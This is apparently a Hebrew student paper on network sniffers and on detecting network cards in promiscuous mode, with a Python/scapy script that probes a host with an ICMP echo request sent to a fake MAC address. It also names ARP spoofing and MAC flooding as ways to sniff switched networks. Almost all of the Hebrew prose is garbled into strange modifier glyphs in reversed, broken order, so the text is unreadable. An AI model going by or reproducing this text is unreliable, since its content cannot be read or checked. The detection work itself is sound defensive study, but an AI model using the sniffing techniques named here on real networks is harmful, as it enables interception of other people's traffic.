) ˫˧˸ˬ˴ˬ ˸ˣ˟˩˶ˣˬ ˫˧˟˷˥ˬ ˸ˣ˸˷˶1nodes ˰ˡ˧ˬ ˥ˣ˪˷˪ˣ ˪˟˵˪ ˪ˠˣ˯ˬˢ ˟˧˩˶˪ ˧˪˪˩ ˫˷ ˞ˣˢ ˸ˬˣ˴ .(

ˣ˞˟˫˩˪˷ ˶˦ˣ˞˶ˢˣ ˟˷˥ˬˢ ,˭ˣ˲˞˪˲ˢ .˧˟˧˦˵˞ ˭˲-  ˱˸ˣ˷ˬ ˡ˥˞ ˶˟ˡ ˫˪ˣ˩˪ˣ ,˫˧˸ˬ˴ ˫˧˟˷˥ˮ ˫˪ˣ˩

˸ˬˣ˴ ˶˧ˡˠˬˢ - ) ˸˷˶ ˯˧˦˶˩ ˷˧ ˫˪ˣ˩˪NIC ˪˷ ˸˶ˣ˷˵˸ˢ ˸ˣ˪ˣ˩˧ ˸˞ ˶˷˲˞ˬˢ ˢ˶ˬˣ˥ ˟˧˩˶ ˞ˣˢ˷ (

.˟˧˩˶ˢ 

 ˸˟ˣ˸˩ ˸˞˶˵ˮˢ ˸˟ˣ˸˩ ˸˩˧ˣ˷ˬ ˸˷˶ˢ ˯˧˦˶˩˪MAC  ˣ˪ ˥ˣ˪˷˪ˣ ˟˧˩˶ˢ ˸˞ ˸ˣˢˤ˪ ˭˸˧ˮ ˢ˸ˣ˰˴ˬ˞˟ˣ

˰ˡ˧ˬ . 

) ˭˥˶˥˶ ˸ˮ˩ˣ˸sniffer ˸˶˟ˣ˰ˢ ˢ˶ˣ˟˰˸ˢ ˸˞ ˢ˦˧˪˵ˬˣ ,˸˷˶˟ ˫˧˸ˬ˴ˢ ˡ˥˞ ˪˰ ˸˞˴ˬˮˢ ˢˮ˩ˣ˸ ˞˧ˢ (

 ˢ˞˪ˢˣ ˢ˸˰ˬ ˣ˞˶˵˧) ˫˧ˮ˥˶˥˶ .ˣ˩˶ˡsniffers˸ˣˬ˧˷ˬ ˭ˣˣˠˬ˟ ˰˧˧˯˪ ˫˧˪ˣ˩˧ ( - ˡ˥˞˩ ˸ˣ˧ˮˣˡˤˣ ˸ˣ˧ˬ˧˦˧ˠ˪ - 

˧ˬ ˸˟˧ˮˠ˟ ˢ˪˩ˣ ˢ˲ˣ˴ˬ˩ ˫˧ˡ˵˲˸ˬ ˫ˮ˧˞˷ ˫˧˟˧˩˶ ˶ˣ˸˧˞ˣ ˸˷˶˟ ˸ˣ˧˰˟ ˥ˣ˸˧ˮ˟ ˪˥ˢ ˧˦˶˲ ,˸ˣ˞ˬ˯˧˯) ˰ˡ

 ˭˲˴ˣˬ ˣˮ˧˞˷ ('ˣ˩ˣ ˠˣˣ˯ˬ ˰ˡ˧ˬ ,˧˞˶˷˞˧ˣ˲˧ˬ˟ˣ ˸˷˶ˢ ˸˞˶˵˪ ˢ˸˲˧˵˸ . 

ˢ ˸˟ˣ˸˩˟ ˷ˣˬ˧˷ ˢ˷ˣ˰ ˸˷˶ ˯˧˦˶˩-MAC ˸˧ˡˣ˥˧˧ˢ2  ˟˷˥ˬ˪ ˸ˡ˰ˣ˧ˬ ˢˮ˧˞˷ ˢ˶ˣ˟˰˸ ˭ˮ˯˪ ˸ˮˬ ˪˰ ˣ˪˷

.ˣˬ˴˰ 

˷ ˸ˮˬ ˪˰-sniffer ˪˰ ,˟˷ˣ˧ ˞ˣˢ ˣ˧˪˰ ˟˷˥ˬ˪ ˸ˡ˰ˣ˧ˬ ˢˮ˧˞˷ ˣˤ˩ ˪˪ˣ˩ ,ˢ˶ˣ˟˰˸ˢ ˪˩ ˸˞ ˢ˞˶˧ ˯˧ˮ˩ˢ˪ ˣ˧

) ˳ˣ˶˲ ˟˴ˬ˪ ˸˷˶ˢ ˯˧˦˶˩ ˸˞(Promiscuous Mode ˯˧˦˶˩ ˧ˮ˲ ˪˰ ˱ˣ˪˥˸ ˢ˶ˣ˟˰˸ˢ ˪˪˩ ,ˢˤ ˟˴ˬ˟ .

 ˪ˣ˲˧˦˪ ˫˧˞˶˥˞ˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˟˧˪˟ ˫˧˞˴ˬˮˢ ˢˮ˩ˣ˸ˢ ˧˟˧˩˶ ˧"˰ ˪˲ˣ˦˸ˣ ˭ˣˮ˧˯ ˞˪˪ ˸˷˶ˢ

) ˸˷˶ ˸˶ˣ˟˰˸˟Kernel Network Stack.( 

˷ ˸ˣˬˠˡˢ˟ ,ˢ˲ˮ˯ˢ ˧˶˴ˣˬ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˣˮ˷˧ ˵ˣ˷˟˟ ˶˵˧˰˟ ˷ˬ˸˷˞ ˢˤ ˶ˬ˞ˬ ˪Wireshark  ˫˪ˣ˞

.ˢˡ˧ˬ ˢ˸ˣ˞˟ ˵ˣ˧ˡ˟ ˫˧˧˦ˮˣˣ˪˶ ˫˧˶˥˞ˢ ˢ˲ˮ˯ˢˢ ˧˶˴ˣˬ ˸˧˟˶ˬ  ˪˷ (ˢ˧ˡ˲˧˵˧ˣ ˨ˣ˸ˬ) ˸˧˵˪˥ ˢˬ˧˷˶ ˭˪ˢ˪

˟ ˷ˣˬ˧˷ ˫˧˷ˣ˰ˢ (ˢ˲˧˵˸ˣ ˢ˥˦˟˞ ,˶ˣ˦˧ˮ ˧˪˩ ˫ˠ ˣˬ˩) ˢ˲ˮ˯ˢ ˧˶˴ˣˬ-:Promiscuous Mode 

                                                           
 

1
 https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)  

2
 ˢ˷˰ˬ˪ ,˸ˣ˟ˣ˸˩ MAC ˸ˣ˧ˣ˷˰ ˞˪˷ ˸ˣ˧ˢ˪ ˸ˣ˧ˡˣ˥˧˧ .ˢ˟˥˶ˢ˪ : 

https://www.howtogeek.com/228286/how-is-the-uniqueness-of-mac-addresses-enforced 

https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://he.wikipedia.org/wiki/%D7%A6%D7%95%D7%9E%D7%AA_(%D7%A8%D7%A9%D7%AA)
https://www.howtogeek.com/228286/how-is-the-uniqueness-of-mac-addresses-enforced/
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˥˦˟˞ ˧˥ˬˣˬ ˣ˞ ˸ˣ˸˷˶ ˧˶˵ˣ˥˩ ,ˣˮ˸ˮ˧˥˟ˬ ˸ˣ˟˧˷˥ ˢˮ˷˧ ˸ˣˮ˩ˣ˸ˣ ˫˧˟˧˩˶ ˣ˪˞ ˸˰ˡ˪ˣ ˸˷˶ˢ ˸˞ ˶˧˩ˢ˪ ,ˢ

 ˪ˣ˩˧ ˦˯˧˪ˮ˞ˢ .˦˯˧˪ˮ˞ˢ ˪˷ ˫˧˪˩ˢ ˦˯˟ ˢ˟ˣ˷˥ ˸˪ˣ˩˧ ˞˧ˢ ˫˧˴ˣ˶˲ ˸˷˶ ˧˯˧˦˶˩ ˧ˣˢ˧ˤ .ˢ˧˪˰ ˸ˣ˴˶

 .˱˵ˣ˸ ˪˷ ˣ˸˞˧˴ˬ˪ ˪˧˟ˣˢ˪ ˪ˣ˩˧˷ ˶ˣ˦˧ˮ ˧˪˩ ˶ˣ˸˟ ˣˤ ˸˪ˣ˩˧˟ ˷ˬ˸˷ˢ˪ 

) ˫˧˴ˣ˶˲ ˸˷˶ ˧˯˧˦˶˩ ˧ˣˢ˧ˤ˪ ˸ˣˮˣ˷ ˸ˣ˵˧ˮ˩˦ ˫˧ˠˡ˞ˣ ˦˶˲˞ ˢˤ ˶ˬ˞ˬ˟(Promiscuous Mode.  ˧˪ ˟ˣ˷˥

.˵˧ˣˡˬ ˰ˡˬ ˣˮ˧˞ ˣˢˤ ,˷˧ˠˡˢ˪  ˪˷ ˣ˸˟ˣˠ˸ ˪˰ ˯˯˟˸ˬ ˞˪ ˣ˞ ˳ˣ˶˲ ˞ˣˢ ˸˷˶ ˯˧˦˶˩ ˫˞ˢ ˭˥˟˞˪ ˭ˣ˧˯˧ˮˢ

 ˸ˣ˞˴ˣ˸ ˪˟˵˪ ˫˧˧ˣ˷˰ ˣˮ˞ ˤ˞ˣ ˸ˣ˟˧˯ ˭ˣˣˠˬˬ ˢ˞˴ˣ˸˩ ˢ˲ˣ˴ˬ˩ ˠˢˮ˸ˢ˪ ˞˪˷ ˪ˣ˩˧ ˡ˰˧ˢ .ˡˣ˷˥ˢ ˟˷˥ˬˢ

 .˸ˣ˧ˣˠ˷ 

˟ˠ ˸ˣˮˬ˧ˢˬ ˸ˬ˶˟ ˸ˣ˞˴ˣ˸ ˠ˧˷ˢ˪ ˶˸ˣ˧˟ ˢ˟ˣ˦ˢ ˢ˦˧˷ˢˣ˧ˡ˥˧ ˸ˣ˵˧ˮ˩˦ ˶˲˯ˬ ˟˪˷˪ ˞˧ˢ ˢˢˣ-  ˥ˮ˰˲˪ ,˭˩ˣ

 .˧ˮˡ˧ ˭˲ˣ˞˟ ˸ˣ˵˧ˡ˟ˢ ˸ˣ˞˴ˣ˸ˬ ˵˪˥ ˸˞ 

 ˸˞˸ˣ˵˧ˮ˩˦ˢ ˟ˣ˶  ˢ˞˶ˮˣ ˭˩˸˧˧ .˫˧˧˪˞ˣ˦˶˧ˣ ˸˷˶ ˧˯˧˦˶˩ ˧˪˰˟ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬ ˪ˣˬ ˧˸˩˶˰ ˫˧˧ˣ˯˧ˮˢˣ

."˧˸ˬ˞ˢ ˫˪ˣ˰"˟ ˸ˣ˞˴ˣ˸˪ ˶ˬ˞ˬ˟ ˸ˣˠ˴ˣˬˢ ˸ˣ˞˴ˣ˸ˢ ˭˧˟ ˫˧ˬ˧ˣ˯ˬ ˫˧˪ˡ˟ˢ 

 

˰ˡ˧ ˫ˡ˵ˣˬ: 

ˮˬ ˧ˮ˞:˷˧ ˞˶ˣ˵˪˷ ˥˧ 

¶  ˭ˣˠ˩) ˸˧ˬˣ˵ˬ ˸˷˶ ˧˟˧˩˶ ˫˰ ˸˧˯˧˯˟ ˸ˣ˶˩ˢHub xSwitch-.( 

¶ ) ˫˧˴ˣ˲ˮ ˸˷˶ ˧˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸˧˪˪˩ ˢˮ˟ˢARP ,IP ,ICMP ,DNS.( 

¶  ˫˰ ˧˯˧˯˟ ˭ˣ˧˯˧ˮLinux )Ubuntu.( 

¶  ˫˰ ˸˧˯˧˯˟ ˸ˣ˶˩ˢ .˧˸ˣˮ˩˸ ˭ˣ˧˯˧ˮThreading . 

˧˞˸ˬˢ ˰˵˶ˢ ˞˪˪ ˫˧˞˶ˣ˵˷ ˨˩ ,˶ˣ˷˧˵ ˱˶˴˞ ˠ˧˴˞˷ ˷ˡ˥ ˠ˷ˣˬ ˪˩˪ .ˢ˞˧˶˵˟ ˨˧˷ˬˢ˪ˣ ˣˬ˧˪˷ˢ˪ ˣ˪˩ˣ˧ ˫

˟ ˡˣ˵ ˧˰˦˵ ˫˧˲˶ˣ˴ˬ ˶ˬ˞ˬˢ ˨˶ˣ˞˪-python ˸˧˧˶˲˯˟ ˧˸˷ˬ˸˷ˢ ˫˪ˣ˩˩ ˫˟ˣ˶˟˷ ,scapy  ˸˟˩˶ˢ˪

 ˳˧˪ˬˬ ˧ˮ˞ ,ˣ˸ˮ˟ˢ˟ ˫˧˷˵˸ˬ ˭˧˧ˡ˰˷ ˫˧˞˶ˣ˵˪ .˧˸˪ˣ˩˧ ˟˦˧ˬ˩ ˡˣ˵ˢ ˸˞ ˶˧˟˯ˢ˪ ˧˸˧˯˧ˮ .˸ˣ˦˵˲ ˸˥˧˪˷ˣ

ˢ˟ ˸ˣ˧˶˵˧˰ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˸˞ ˞ˣ˶˵˪ ˭ ˧˸˧˷˰.˷ˣˬ˧˷ 

ˢˡˣ˟˰ˢ ˸˟˧˟˯: 

 ˸ˮˣ˩ˬ ˪ˣˬ ˧˸˩˶˰ ˸ˣ˵˧ˡ˟ˢ ˸˞windows 7  ˸ˮˣ˩ˬˣUbuntu 12 ˸ˮˣ˩ˬ ˪ˣˬ ˫ˠ ˣ˸ˬˣ˞ ˸ˣ˵˧ˡ˟ˢˬ ˵˪˥ .

Kali 2018.4.  ˳˧˶ˬ ˥˶˞ˬˢ ˟˷˥ˬˢWindows 10: 
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) ˫˧ˮ˥˶˥˶ ˪˰ ˢ˪˧ˬsniffers:( 

˫˧˧ˮ˷˪ ˫˧˵˪˥ˮ ˫˧˶˲˧ˮ˯ ˣ˞ ˫˧ˮ˥˶˥˶ ,˫˧˧˪˪˩ ˫˧ˣˣ˵˟-  .˫˧˧˟˧˯˲ˣ ˫˧˧˟˧˦˵˞ ˫˧˶˲˧ˮ˯ 

˫˧˶˲˧ˮ˯ ˫˧˧˟˧˦˵˞ ˢˮ˟ˬ ˸˞ ˫˧ˮ˷ˬˢ ˫˧˶˲˧ˮ˯ ˫ˢ/ ˢ˶ˣ˟˰˸ˢ˷ ˨˩ ˧˟˧˦˵˞ ˭˲ˣ˞˟ ˸˷˶ˢ ˸˧˴˶ˣˠ˧˲ˮˣ˵

) ˠ˸ˬ ˞˶˵ˮˢ ˟˧˩˶ ˸ˣ˪˧˩ˬ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˸˷˶ˢ ˟ˣ˶ ˫ˣ˧˩ .˱˵ˣ˸˪ ˫˶ˤˣ˸switch ˢ˶ˣ˟˰˸ˢ ˸˞ ˟˸ˮˬ˷ (

 ˫˩˥ ˭˲ˣ˞˟- .ˣ˧˪˞ ˸ˡ˰ˣ˧ˬ˷ ˢ˶ˣ˟˰˸ˢ ˸˞ ˵˶ ˪˟˵˧ ˟˷˥ˬ ˪˩˷ ˨˩ 

˶˪ ˸˸ˣ˴ˬ ˱˵ˣ˸ˢ ˫˞ ˫ˠ ,˶ˬˣ˪˩˳ˣ˶˲ ˣ˪˷ ˸˷˶ˢ ˯˧˦˶˩ˣ ˸˷-  ˭˲ˣ˞˟ ˸˷˶ˢ ˢˮ˟ˬ ˸˞ ˢˮ˷˧ ˞˪ ˞ˣˢ ˫˞

˧˟˧˦˵˞-  ˸˶ˣ˟˰˸ ˣ˞) ˣ˧˪˞ ˸ˡ˰ˣ˧ˬˢ ˢ˶ˣ˟˰˸ˢ ˵˶ ˪˟˵˧ ˞ˣˢBroadcast - .(˨˷ˬˢ˟ ˢ˶˴˵˟ ˶˟˯ˣ˧ ˠ˷ˣˬˢ 

 ˭ˣˠ˩ ˸ˣ˲˵˸ˢ ˰˴˟˪ ˫˧˪ˣ˩˧ ˫˧˧˟˧˦˵˞ ˫˧˶˲˧ˮ˯dingMAC Floo ˪ ˫ˣ˶ˠ˪ˣ-witchS ˩ ˠˢˮ˸ˢ˪-ubH  ˫˧˶ˤˢ˪ˣ

 ˣ˞ ˣ˪˷ ˫˧˦˶ˣ˲ˢ ˪˩˟ ˢ˶ˣ˟˰˸ˢ ˸˞ARP Spoofing ˢ ˸ˣ˞˪˟˦ ˸˞ ˫ˢˤ˪ ˸ˮˬ ˪˰-ARP )ARP  ˶˟˯ˣ˧

 .˧ˮ˷ˢ ˫˰ ˡ˥˞ ˫ˣ˵ˬ˟ ˱˵ˣ˸ˢ ˫˰ ˶˟ˡ˪ ˫ˢ˪ ˫ˣ˶ˠ˪ˣ ˫˧˟˷˥ˬ ˪˷ (˨˷ˬˢ˟ 

˫˧˶˲˧ˮ˯ ˫˧˧˟˧˯˲ ˫˧˟˷ˣ˧ ˫ˢ ˢ˧˪˰ ˸˷˶˟ ˫˧˧ˣˮ˧˷ ˫˧˰˴˟ˬ ˫ˮ˧˞ ,˸˞ˤ ˸ˬˣ˰˪ . ˢˬˠˣˡ˪ ˫˧˧˟˧˯˲ ˫˧˶˲˧ˮ˯

 ˫ˢtcpdump x-wireshark. 

 ˧ˠˣ˯ ˧ˮ˷˪ ˷˶ˡˮˢ ˳ˣ˶˲ ˟˴ˬ ˪˷ ˣˬˣ˧˵ ˧ˣˢ˧ˤ˟ ˞˪˞ ,ˣˬ˴˰ ˶˲˧ˮ˯ˢ ˧ˣˢ˧ˤ˟ ˡ˵ˬ˸ˬ ˣˮ˧˞ ˢˤ ˶ˬ˞ˬ ˪˷ ˣ˟ˣ˶

 .˫˧˶˲˧ˮ˯ˢ 

˫˪ˣ˰˟ ˧˸˧ˬ˞ˢ ,˸ˬˣ˰˪ ˸˞ˤ ,˭ˣˣ˧˩ ˸˧˟˶ˬ˷ ˸ˣ˸˷˶ˢ ˸ˣ˧ˮ˶ˡˣˬˢ ˸ˣ˪˧˩ˬ Switch ˪˰ˣ ˸ˮˬ ˭˧ˤ˞ˢ˪ ˭ˢ˪ 

ˢ˶ˣ˴˟ ˢ˪˧˰˧ ˷˧ ˰˴˟˪ ˢ˪˧˥˸ ˢ˧˴˪ˣ˲˧ˮˬ ˪˷ ˫˧˟˧˩˶ ˸˷˶˟- ˧˴ˬ˞ˬ ˸ˣˮˮˣˠ˸ˢˢ ˫˧ˡ˵ˬ˸ˬ ˧ˣˢ˧ˤ˟ 

˸ˣ˲˵˸ˢ ˸ˣ˧˟˧˦˵˞ )˭ˣˠ˩ ARP Spoofing x-MAC Flooding (˞˪ˣ ˧ˣˢ˧ˤ˟ ˫˧˟˷˥ˬ ˫˰ ˯˧˦˶˩ ˸˷˶ ˳ˣ˶˲. 

  

https://he.wikipedia.org/wiki/MAC_flooding
http://articles.manugarg.com/arp_spoofing.pdf
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ˢˬ ˢˤ Promiscuous Mode? 

˨˧˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰ ˟ ˸˷˶ ˧˯˧˦˶˩ ˸ˣˢˤ˪ ˪˩ˣˮ- Promiscuous Mode ˧˯˧˦˶˩ ˫˧ˠˢˮ˸ˬ ˡ˴˧˩ ˭˧˟ˢ˪ ˣˮ˧˪˰

.ˣ˪˪ˢ ˫˧˪ˡ˟ˢˢ ˪˰ ˣˮ˪˷ ˸ˣ˵˧ˮ˩˦ˢ ˸˞ ˯˯˟˪ ,ˤ˞ˣ ˫˧˴ˣ˶˲ ˫ˮ˧˞˷ ˸˷˶ ˧˯˧˦˶˩ ˸ˬˣ˰˪ ˫˧˴ˣ˶˲ ˸˷˶ 

 .˸˷˶ˢ ˯˧˦˶˩ ˨˶ˡ ˶˟ˣ˰ ˟˷˥ˬ˪ ˰˧ˠˬˢ ˰ˡ˧ˬ ˪˩ .˟˷˥ˬ˪ ˢ˰˧ˠˬ ˢ˶ˣ˟˰˸ ˶˷˞˩ ˢ˶ˣ˵ ˢˬ ˭˧˟ˮ ˢ˪˧˥˸ 

 ˸˷˶ˢ ˯˧˦˶˩ ˪˷ ˢ˶˵ˬ˟) ˢ˲ˣ˴ˬˢ ˦ˬ˶ˣ˲˟ ˰ˡ˧ˬˢ ˧˩ ˞ˡˣˣˬEthernet -  ˫˧˸˟ ˱˴˶ ˣ˸˪˧˥˸˟ ˪˧˩ˬ

 ˞˶˵ˮˢ ˫˧ˣ˯ˬPreamble  ˞˶˵ˮˢ ˸˧˟˟ ˫˧˧˸˯ˬ˷ SFD˰ˡ˧ˬˢ ˸˪˧˥˸ ˸˞ ˪ˬ˯ˬˣ3˭˧˵˸ ˞ˣˢ˷ˣ (4. 

 

 

ˣˮ˧˪˞ ˸ˡ˰ˣ˧ˬ ˰ˡ˧ˬˢ ˸˪˧˟˥˷ ˞ˡˣˣˬ ˸˷˶ˢ ˯˧˦˶˩ ˭˧˵˸ ˰ˡ˧ˬˢˣ ˢˡ˧ˬ˟ . ˞˧ˢ ˣˤ˩ ˢ˪˧˟˥

˸˥˞ ˸ˣ˧ˣ˶˷˲˞ˢˬ :˸ˣ˞˟ˢ 

1. ˟˥ ˸˟ˣ˸˩ˢ ˞˧ˢ ˢ˪˷ ˡ˰˧ˢ ˸˟ˣ˸˩˷ ˢ˪˧MAC ) ˣˮ˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˪˷Unicast.( 

2. ˥ ˫˧˟˧˩˶ ˶˲˯ˬ˪ ˸ˡ˰ˣ˧ˬ˷ ˢ˪˧˟)Multicast .( 

3. ) ˸˷˶ ˢ˸ˣ˞˟ ˫˧˟˷˥ˬˢ ˪˩˪ ˸ˡ˰ˣ˧ˬˢ ˢ˪˧˟˥Broadcast( -  ˢ˶˵ˬ ˨˩˟ ˸ˣ˞˶˪ ˭˸˧ˮ

 ˪˷ ˧˦˶˲Multicast. 

 

 ˸˷˶ˢ ˯˧˦˶˩ ,ˣ˪˪ˢ ˸ˣ˧ˣ˶˷˲˞ˢ ˸˷ˣ˪˷ˬ ˸˥˞ ˪˰ ˢ˸ˮ˰ ˢ˪˧˟˥ˣ ˢˡ˧ˬ˟˫ˣˤ˧˧ ˢ˦˵˲ˢˣ ˢ˶ˬˣ˥ ˸˵˧˯˲ 

ˢ ˪˞ "ˢ˪˰ˬ˪" ˶˟˰ˣ˸-Kernel .˪ˣ˲˧˦ ˨˷ˬˢ˪ 

  

                                                           
 

3
 https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter 

4
 https://en.wikipedia.org/wiki/Frame_check_sequence 

https://en.wikipedia.org/wiki/Multicast#Ethernet_multicast
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Ethernet_frame#Preamble_and_start_frame_delimiter
https://en.wikipedia.org/wiki/Frame_check_sequence
https://en.wikipedia.org/wiki/Frame_check_sequence
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ˢ ˸˞ ˫˧˯˧ˮ˩ˬ ˣˮ˞ ˶˷˞˩-NIC ˳ˣ˶˲ ˟˴ˬ˪ ˣˮ˪˷ -  ˞ˡˣˣ˪ ˡ˰ˣ˧ˬ˷ ˧˸˶ˬˣ˥ ˭ˣˮ˧˯ ˣ˸ˣ˞ ˪˰ ˫˧˶˸ˣˣˬ ˫˴˰˟ ˣˮ˞

˷ ˸ˣ˪˧˟˥ ˪˟˵ˮ ˞˪˷ˣˮ˧˪˞ ˸ˣˡ˰ˣ˧ˬ ˞˪: 

 

[http://www.securityfriday.com/promiscuous_detection_01.pdf] 

˸ˡ˰ˣ˧ˬ ˞˧ˢ ˧ˬ˪ ˢˮ˷ˬ ˞˪ ,˸˷˶ˢ ˯˧˦˶˩ ˧"˰ ˪˟˵˸˸˷ ˢˮ˧˵˸ ˢ˪˧˟˥ ˪˩ ˢ˷˰ˬ˪ ˸˰˩-  .ˢ˞˪ˢ ˶˟˰ˣ˸ 

˪ ˸ˮˬ ˪˰ ,˨˩ ˫˞˳ˣ˶˲ ˸˷˶ ˯˧˦˶˩ ˷˧ ˟˷˥ˬ˪ ˫˞ ˸ˣ˪ˠ -  ˢ˷˰ˬ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˧˪˰˷ ˪˩ (ˢ˶ˣ˞˩˪)

 ˢˡ˧ˬ˟ ˟˷˥ˬˢˬ ˢ˟ˣ˷˸ ˞˧˴ˣˢ˪ ˥˧˪˴˸ ˭˩ ˪˟˞ ˸˷˶ˢ ˯˧˦˶˩ ˪˷ ˭ˣˮ˧˯ˢ ˸˞ ˶ˣ˟˰˸ ˞˪˷ ˢ˪˧˟˥ ˟˧˩˶ˢ˪

˪˧ˠ˶ ˸˷˶ ˯˧˦˶˩ ˷˧ ˟˷˥ˬ˪ ˫˞ .ˢˤ˩ ˭ˣˮ˧˯ ˢ˧ˢ ˞˪ˣ -  .ˣˤˢ ˢ˪˧˟˥˪ ˢ˟ˣˠ˸ ˢ˞˶ˮ ˞˪ˣ ,ˢ˸ˣ˞ ˭ˮ˯˧ ˞ˣˢ 

˶˩ ˫˞ ˫˪ˣ˞˳ˣ˶˲ ˸˷˶ˢ ˯˧˦ - .ˢ˟ˣ˷˸ ˣˮ˪ ˶˧ˤ˥˧ ˟˷˥ˬˢˣ ˢ˞˪ˢ ˶ˣ˟˰˸ ˢ˪˧˟˥ˢ 

 

ICMP PING Detection: 

 ˸˦˵˲ ˣ˟ ˫˧ˡ˷ˣ˥ ˣˮ˞˷ ˟˷˥ˬ˪ ˥˪˷ˮ .˶˸ˣ˧˟ ˦ˣ˷˲ ˞ˣˢ ˣˤ ˢ˦˧˷˟ ˭ˣ˧˰˶ˢICMP  ˠˣ˯ˬEcho request 

 ˫ˠ ˞˶˵ˮ)ping.( 

˞˵ˢˢ ˸˟ˣ˸˩˷ ˞ˣˢ '˳-MAC ˢ ˸˟ˣ˸˩ ˡˣ˰˟ ,˪˟˵˪ ˶ˣˬ˞ ˡ˰˧ˢ ˟˷˥ˬ˷ ˸˟ˣ˸˩ ˢˮ˧˞ˣ ˸˲˧ˣˤˬ ˡ˰˧ˢ ˪˷IP 

 .ˣ˪˷ ˸˧˸ˬ˞ˢ ˡ˰˧ˢ ˸˟ˣ˸˩ ˞˧ˢ ˡ˰˧ˢ ˪˷ 

˪ ˶ˣ˟˰˸ ˢ˦˵˲ˢ ,˸˷˶ˢ ˯˧˦˶˩ ˸ˬ˶˟ ˭ˣˮ˧˯ ˭˧˞ˣ ˢˡ˧ˬ˟˷ ˢ˥ˮˢˢ ˪˰ ˫˧˯˯˟˸ˬ ˣˮ˥ˮ˞-Kernelˢ .-Kernel 

 ˢ˟˩˷˟ ˢ˵˧ˡ˟ˢ˷ ˧˶ˢ ,ˣ˧˪˞ ˰˧ˠˢ ˞˧ˢ ˫˞˷ ˥˧ˮ˧2 ˥˪˴ˢ - ˢ ˸˞ ˵˶ ˵ˣˡ˟˧ ˞ˣˢ ˭˩˪ˣ-Headers  ˪˷

ˢ ˸˟ˣ˸˩˷ ˭ˣˣ˧˩ˬ .˸ˣˮˣ˧˪˰ˢ ˸ˣ˟˩˷ˢ-IP ˢˬ˧˞˸ˬ -  ˢ˶ˤ˥˟ ˪˟˵ˮˣ ˢ˷˵˟˪ ˶˸˰˧˧ ˞ˣˢICMP Echo Reply . 

 ˟ˣ˸˩ˮ˵˯˦ˣ˷˲ ˦˲˧˶ ˭ˣ˧˰˶ˢ ˸˞ ˷˧˥ˬˬ˷: 

import  sys  

from  scapy . all import  *  

 

ICMP_ECHO_REQUEST = 8 

MAX_TIMEOUT = 2 

 

def  detect_promiscuous ( device_ip ):  

    request_packet = Ether ( dst ="ab:cd:ef:11:22:33" )  

    request_packet /=  IP ( dst =device_ip )  

    request_packet /=  ICMP( type =ICMP_ECHO_REQUEST)  

http://www.securityfriday.com/promiscuous_detection_01.pdf
http://www.securityfriday.com/promiscuous_detection_01.pdf
https://he.wikipedia.org/wiki/%D7%A4%D7%99%D7%A0%D7%92
https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/icmp_ping_detect.py
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    response = srp1 ( request_packet ,  timeout =MAX_TIMEOUT,  iface ="VMware Virtual 

Ethernet Adapter for VMnet1" ,  verbose =False )  

    if  response is  None:  

        print ( "Device {DEVICE_IP} is not in Promiscuous Mode ." . format ( DEVICE_IP 

= device_ip ))  

    else :  

        print ( "Device {DEVICE_IP} is in Promiscuous Mode ." . format ( DEVICE_IP = 

device_ip ))  

 

def  main ():  

    target_device_ip = sys . argv [ 1]  

    detect_promiscuous ( target_device_ip )  

 

if  __name__ == '__main__' :  

    main ()  

 ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˶˧˟˯ˮdetect_promiscuous ˧ˮ˩ˣ˸ˢ ˟˪ ˞˧ˢ˷:(˸ˣ˶ˣ˷ˢ ˶ˣ˲˯ˬ ˧˲ ˪˰) ˸ 

 

7. ˢ˧˴˵ˮˣ˲ˢ ˸˪˟˵ˬ ˶˦ˬ˶˲˩ ˸˞ ˸˟ˣ˸˩ s-IP ˪˷ ˶˧˷˩ˬˢ ˢ˴˶ˮ˷ ˵ˣˡ˟˪ . 

8. ˸˟ˣ˸˩ s-MAC ˪˷ ˡ˰˧ˢ ˢ˧ˢ˸ ˸˟ˣ˸˩ ˸˧˟˧˦˵˧˲ ˢˮˣˣ˩˟ .˸˞ ˸˟ˣ˸˩ ˶ˣ˵ˬˢ ˭˧˞ ˨˶ˣ˴ ˭˧˧˴˪ ˫ˣ˷ˬ ˷-

scapy ˫˧˪˷ˬ ˸˞ˤ ˣˬ˴˰˟. 

9. ˱˧˯ˣˮ ˢ˦˵˲˪ ˸˞ s-Header ˪˷ ˸˟˩˷ ˸˷˶ˢ .˸˟ˣ˸˩ s-IP ˪˷ ˡ˰˧ˢ ˞˧ˢ ˢ˸ˣ˞ ˸˟ˣ˸˩ ˣˮ˪˟˧˵˷ 

˶˦ˬ˶˲˩ ˞˧ˢˣ ˸˟ˣ˸˩ sIP ˸˧˸˧ˬ˞ˢ ˪˷ ˶˧˷˩ˬˢ ˡˣ˷˥ˢ .˫ˠ ˭˞˩ ,˸˞ ˸˟ˣ˸˩ ˶ˣ˵ˬˢ ˭˧˞ ˨˶ˣ˴ ˭˧˧˴˪ 

˫ˣ˷ˬ ˷-scapy ˢ˷ˣ˰ ˸˞ˤ ˣˮ˶ˣ˟˰. 

10. ˱˧˯ˣˮ ˸˞ s-Header ˪˷ ICMP .˭˲ˣ˞˟ ˧˦˪ˣ˲˧ˡ ˫˧˶˴ˣ˧˷˩ ˸˪˧˟˥ ICMP ˟-Scapy ˞˧ˢ ˶˟˩Echo 

Request ˫˪ˣ˞ ˭˰ˬ˪ ˸ˣ˶˧ˢ˟ˢ ˭˧˧˴ˮ ˷˶ˣ˲ˬ˟ ˣˮ˞˷ ˫˧ˮ˧˧ˮˣ˰ˬ ˟Echo Request )ˢ˶˲˯ˬ˷ ˞ˣˢ 8.( 

